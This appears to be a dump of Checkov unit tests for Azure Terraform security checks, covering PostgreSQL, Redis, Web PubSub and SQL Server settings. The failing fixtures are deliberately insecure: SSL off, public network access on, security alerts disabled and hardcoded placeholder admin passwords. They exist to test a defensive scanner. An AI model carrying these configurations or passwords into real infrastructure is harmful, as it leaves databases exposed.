    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLServerSSLEnforcementEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgreSQLServerSSLEnforcementEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n            \n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = false\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n            \n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgresSQLGeoBackupEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgressSQLGeoBackupEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgressSQLGeoBackupEnabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = false\n              auto_grow_enabled            = true\n\n              public_network_access_enabled    = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n\n              backup_retention_days        = 7\n              auto_grow_enabled            = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n\n              backup_retention_days        = 7\n              geo_redundant_backup_enabled = true\n              auto_grow_enabled            = true\n\n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PostgresSQLTreatDetectionEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgresSQLTreatDetectionEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPostgresSQLTreatDetectionEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n\n              threat_detection_policy {\n                  enabled = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n        \n    def test_failure_empty(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n              \n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_postgresql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = true\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n              threat_detection_policy {\n                  enabled = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_postgresql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PubsubSKUSLA.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.PubsubSKUSLA import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPubsubSKUSLA(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PubsubSKUSLA\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_web_pubsub.pass\",\n        }\n        failing_resources = {\n            \"azurerm_web_pubsub.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_PubsubSpecifyIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.PubsubSpecifyIdentity import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPubsubSpecifyIdentity(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PubsubSpecifyIdentity\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_web_pubsub.pass\",\n            \"azurerm_web_pubsub.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_web_pubsub.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_RedisCacheEnableNonSSLPort.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.RedisCacheEnableNonSSLPort import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedisCacheEnableNonSSLPort(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      enable_non_ssl_port = true\n                      minimum_tls_version = \"1.2\"\n                      public_network_access_enabled  = true\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      enable_non_ssl_port = false\n                      minimum_tls_version = \"1.2\"\n                      public_network_access_enabled  = true\n\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_no_param(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      minimum_tls_version = \"1.2\"\n\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_RedisCacheMinTLSVersion.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.RedisCacheMinTLSVersion import check\n\n\nclass TestRedisCacheMinTLSVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RedisCacheMinTLSVersion\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_redis_cache.pass',\n        }\n        failing_resources = {\n            'azurerm_redis_cache.fail',\n            'azurerm_redis_cache.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_RedisCachePublicNetworkAccessEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.RedisCachePublicNetworkAccessEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRedisCachePublicNetworkAccessEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      enable_non_ssl_port = false\n                      minimum_tls_version = \"1.2\"\n                      public_network_access_enabled  = true\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_no_param(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      enable_non_ssl_port = false\n                      minimum_tls_version = \"1.2\"\n\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_redis_cache\" \"example\" {\n                      name                = \"example-cache\"\n                      location            = azurerm_resource_group.example.location\n                      resource_group_name = azurerm_resource_group.example.name\n                      capacity            = 2\n                      family              = \"C\"\n                      sku_name            = \"Standard\"\n                      enable_non_ssl_port = false\n                      minimum_tls_version = \"1.2\"\n                      public_network_access_enabled  = false\n\n                      redis_configuration {\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_RedisCacheStandardReplicationEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.RedisCacheStandardReplicationEnabled import check\n\n\nclass TestRedisCacheStandardReplicationEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_RedisCacheStandardReplicationEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_redis_cache.pass1',\n            'azurerm_redis_cache.pass2'\n        }\n        failing_resources = {\n            'azurerm_redis_cache.fail1'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLDatabaseLedgerEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SQLDatabaseLedgerEnabled import check\n\n\nclass SQLDatabaseLedgerEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SQLDatabaseLedgerEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_mssql_database.pass',\n        }\n        failing_resources = {\n            'azurerm_mssql_database.fail',\n            'azurerm_mssql_database.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLDatabaseZoneRedundant.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SQLDatabaseZoneRedundant import check\n\n\nclass TestSQLDatabaseZoneRedundant (unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SQLDatabaseZoneRedundant\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_mssql_database.pass',\n        }\n        failing_resources = {\n            'azurerm_mssql_database.fail',\n            'azurerm_mssql_database.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLServerEmailAlertsEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SQLServerEmailAlertsEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSQLServerEmailAlertsEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = [\n                \"Sql_Injection\",\n                \"Data_Exfiltration\"\n              ]\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = []\n              email_addresses = [\"example@gmail.com\"]\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLServerEmailAlertsToAdminsEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SQLServerEmailAlertsToAdminsEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSQLServerEmailAlertsToAdminsEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = [\n                \"Sql_Injection\",\n                \"Data_Exfiltration\"\n              ]\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = []\n              email_addresses = [\"example@gmail.com\"]\n              email_account_admins = true\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLServerNoPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SQLServerNoPublicAccess import check\n\n\nclass TestSQLServerNoPublicAccess(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SQLServerNoPublicAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_mysql_firewall_rule.pass',\n            'azurerm_mysql_firewall_rule.pass2',\n            'azurerm_mysql_flexible_server_firewall_rule.pass',\n            'azurerm_mssql_firewall_rule.pass'\n        }\n        failing_resources = {\n            'azurerm_mysql_firewall_rule.fail',\n            'azurerm_mysql_flexible_server_firewall_rule.fail',\n            'azurerm_mssql_firewall_rule.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLServerPublicAccessDisabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SQLServerPublicAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSQLServerPublicAccessDisabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server\" \"example\" {\n              name                         = \"mssqlserver\"\n              resource_group_name          = azurerm_resource_group.example.name\n              location                     = azurerm_resource_group.example.location\n              version                      = \"12.0\"\n              administrator_login          = \"missadministrator\"\n              administrator_login_password = \"thisIsKat11\"\n              minimum_tls_version          = \"1.2\"\n              public_network_access_enabled = true\n              azuread_administrator {\n                login_username = \"AzureAD Admin\"\n                object_id      = \"00000000-0000-0000-0000-000000000000\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server\" \"example\" {\n              name                         = \"mssqlserver\"\n              resource_group_name          = azurerm_resource_group.example.name\n              location                     = azurerm_resource_group.example.location\n              version                      = \"12.0\"\n              administrator_login          = \"missadministrator\"\n              administrator_login_password = \"thisIsKat11\"\n              minimum_tls_version          = \"1.2\"\n              azuread_administrator {\n                login_username = \"AzureAD Admin\"\n                object_id      = \"00000000-0000-0000-0000-000000000000\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server\" \"example\" {\n              name                         = \"mssqlserver\"\n              resource_group_name          = azurerm_resource_group.example.name\n              location                     = azurerm_resource_group.example.location\n              version                      = \"12.0\"\n              administrator_login          = \"missadministrator\"\n              administrator_login_password = \"thisIsKat11\"\n              minimum_tls_version          = \"1.2\"\n              public_network_access_enabled = false\n              azuread_administrator {\n                login_username = \"AzureAD Admin\"\n                object_id      = \"00000000-0000-0000-0000-000000000000\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SQLServerThreatDetectionTypes.py",
